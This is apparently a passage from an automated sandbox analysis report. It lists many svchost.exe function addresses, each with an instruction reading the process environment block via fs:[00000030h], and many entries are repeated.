Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]		2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB06F1 mov eax, dword ptr fs:[00000030h]		2_2_03CB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]		2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C34690 mov eax, dword ptr fs:[00000030h]		2_2_03C34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C6A6 mov eax, dword ptr fs:[00000030h]		2_2_03C6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C666B0 mov eax, dword ptr fs:[00000030h]		2_2_03C666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4C640 mov eax, dword ptr fs:[00000030h]		2_2_03C4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]		2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF866E mov eax, dword ptr fs:[00000030h]		2_2_03CF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]		2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A660 mov eax, dword ptr fs:[00000030h]		2_2_03C6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C62674 mov eax, dword ptr fs:[00000030h]		2_2_03C62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAE609 mov eax, dword ptr fs:[00000030h]		2_2_03CAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4260B mov eax, dword ptr fs:[00000030h]		2_2_03C4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C72619 mov eax, dword ptr fs:[00000030h]		2_2_03C72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C4E627 mov eax, dword ptr fs:[00000030h]		2_2_03C4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C66620 mov eax, dword ptr fs:[00000030h]		2_2_03C66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68620 mov eax, dword ptr fs:[00000030h]		2_2_03C68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3262C mov eax, dword ptr fs:[00000030h]		2_2_03C3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E5CF mov eax, dword ptr fs:[00000030h]		2_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E5CF mov eax, dword ptr fs:[00000030h]		2_2_03C6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C365D0 mov eax, dword ptr fs:[00000030h]		2_2_03C365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]		2_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A5D0 mov eax, dword ptr fs:[00000030h]		2_2_03C6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E5E7 mov eax, dword ptr fs:[00000030h]		2_2_03C5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C325E0 mov eax, dword ptr fs:[00000030h]		2_2_03C325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C5ED mov eax, dword ptr fs:[00000030h]		2_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6C5ED mov eax, dword ptr fs:[00000030h]		2_2_03C6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32582 mov eax, dword ptr fs:[00000030h]		2_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C32582 mov ecx, dword ptr fs:[00000030h]		2_2_03C32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64588 mov eax, dword ptr fs:[00000030h]		2_2_03C64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E59C mov eax, dword ptr fs:[00000030h]		2_2_03C6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]		2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]		2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB05A7 mov eax, dword ptr fs:[00000030h]		2_2_03CB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C545B1 mov eax, dword ptr fs:[00000030h]		2_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C545B1 mov eax, dword ptr fs:[00000030h]		2_2_03C545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38550 mov eax, dword ptr fs:[00000030h]		2_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38550 mov eax, dword ptr fs:[00000030h]		2_2_03C38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]		2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]		2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6656A mov eax, dword ptr fs:[00000030h]		2_2_03C6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6500 mov eax, dword ptr fs:[00000030h]		2_2_03CC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04500 mov eax, dword ptr fs:[00000030h]		2_2_03D04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40535 mov eax, dword ptr fs:[00000030h]		2_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]		2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]		2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]		2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]		2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5E53E mov eax, dword ptr fs:[00000030h]		2_2_03C5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C304E5 mov ecx, dword ptr fs:[00000030h]		2_2_03C304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C364AB mov eax, dword ptr fs:[00000030h]		2_2_03C364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C644B0 mov ecx, dword ptr fs:[00000030h]		2_2_03C644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBA4B0 mov eax, dword ptr fs:[00000030h]		2_2_03CBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6E443 mov eax, dword ptr fs:[00000030h]		2_2_03C6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2645D mov eax, dword ptr fs:[00000030h]		2_2_03C2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5245A mov eax, dword ptr fs:[00000030h]		2_2_03C5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBC460 mov ecx, dword ptr fs:[00000030h]		2_2_03CBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]		2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]		2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5A470 mov eax, dword ptr fs:[00000030h]		2_2_03C5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]		2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]		2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68402 mov eax, dword ptr fs:[00000030h]		2_2_03C68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]		2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]		2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2E420 mov eax, dword ptr fs:[00000030h]		2_2_03C2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2C427 mov eax, dword ptr fs:[00000030h]		2_2_03C2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB6420 mov eax, dword ptr fs:[00000030h]		2_2_03CB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6A430 mov eax, dword ptr fs:[00000030h]		2_2_03C6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]		2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]		2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C50BCB mov eax, dword ptr fs:[00000030h]		2_2_03C50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]		2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]		2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30BCD mov eax, dword ptr fs:[00000030h]		2_2_03C30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CDEBD0 mov eax, dword ptr fs:[00000030h]		2_2_03CDEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]		2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]		2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38BF0 mov eax, dword ptr fs:[00000030h]		2_2_03C38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EBFC mov eax, dword ptr fs:[00000030h]		2_2_03C5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBCBF0 mov eax, dword ptr fs:[00000030h]		2_2_03CBCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40BBE mov eax, dword ptr fs:[00000030h]		2_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40BBE mov eax, dword ptr fs:[00000030h]		2_2_03C40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6B40 mov eax, dword ptr fs:[00000030h]		2_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC6B40 mov eax, dword ptr fs:[00000030h]		2_2_03CC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFAB40 mov eax, dword ptr fs:[00000030h]		2_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CD8B42 mov eax, dword ptr fs:[00000030h]		2_2_03CD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C2CB7E mov eax, dword ptr fs:[00000030h]		2_2_03C2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CAEB1D mov eax, dword ptr fs:[00000030h]		2_2_03CAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EB20 mov eax, dword ptr fs:[00000030h]		2_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EB20 mov eax, dword ptr fs:[00000030h]		2_2_03C5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF8B28 mov eax, dword ptr fs:[00000030h]		2_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF8B28 mov eax, dword ptr fs:[00000030h]		2_2_03CF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]		2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]		2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86ACC mov eax, dword ptr fs:[00000030h]		2_2_03C86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C30AD0 mov eax, dword ptr fs:[00000030h]		2_2_03C30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64AD0 mov eax, dword ptr fs:[00000030h]		2_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C64AD0 mov eax, dword ptr fs:[00000030h]		2_2_03C64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6AAEE mov eax, dword ptr fs:[00000030h]		2_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6AAEE mov eax, dword ptr fs:[00000030h]		2_2_03C6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3EA80 mov eax, dword ptr fs:[00000030h]		2_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03D04A80 mov eax, dword ptr fs:[00000030h]		2_2_03D04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C68A90 mov edx, dword ptr fs:[00000030h]		2_2_03C68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38AA0 mov eax, dword ptr fs:[00000030h]		2_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C38AA0 mov eax, dword ptr fs:[00000030h]		2_2_03C38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C86AA4 mov eax, dword ptr fs:[00000030h]		2_2_03C86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C36A50 mov eax, dword ptr fs:[00000030h]		2_2_03C36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40A5B mov eax, dword ptr fs:[00000030h]		2_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C40A5B mov eax, dword ptr fs:[00000030h]		2_2_03C40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]		2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]		2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA6F mov eax, dword ptr fs:[00000030h]		2_2_03C6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CACA72 mov eax, dword ptr fs:[00000030h]		2_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CACA72 mov eax, dword ptr fs:[00000030h]		2_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBCA11 mov eax, dword ptr fs:[00000030h]		2_2_03CBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA24 mov eax, dword ptr fs:[00000030h]		2_2_03C6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5EA2E mov eax, dword ptr fs:[00000030h]		2_2_03C5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C54A35 mov eax, dword ptr fs:[00000030h]		2_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C54A35 mov eax, dword ptr fs:[00000030h]		2_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C6CA38 mov eax, dword ptr fs:[00000030h]		2_2_03C6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CC69C0 mov eax, dword ptr fs:[00000030h]		2_2_03CC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]		2_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C649D0 mov eax, dword ptr fs:[00000030h]		2_2_03C649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFA9D3 mov eax, dword ptr fs:[00000030h]		2_2_03CFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CBE9E0 mov eax, dword ptr fs:[00000030h]		2_2_03CBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C629F9 mov eax, dword ptr fs:[00000030h]		2_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C629F9 mov eax, dword ptr fs:[00000030h]		2_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C429A0 mov eax, dword ptr fs:[00000030h]		2_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD mov eax, dword ptr fs:[00000030h]		2_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C309AD mov eax, dword ptr fs:[00000030h]		2_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov esi, dword ptr fs:[00000030h]		2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov eax, dword ptr fs:[00000030h]		2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB89B3 mov eax, dword ptr fs:[00000030h]		2_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB0946 mov eax, dword ptr fs:[00000030h]		2_2_03CB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]		2_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C56962 mov eax, dword ptr fs:[00000030h]		2_2_03C56962
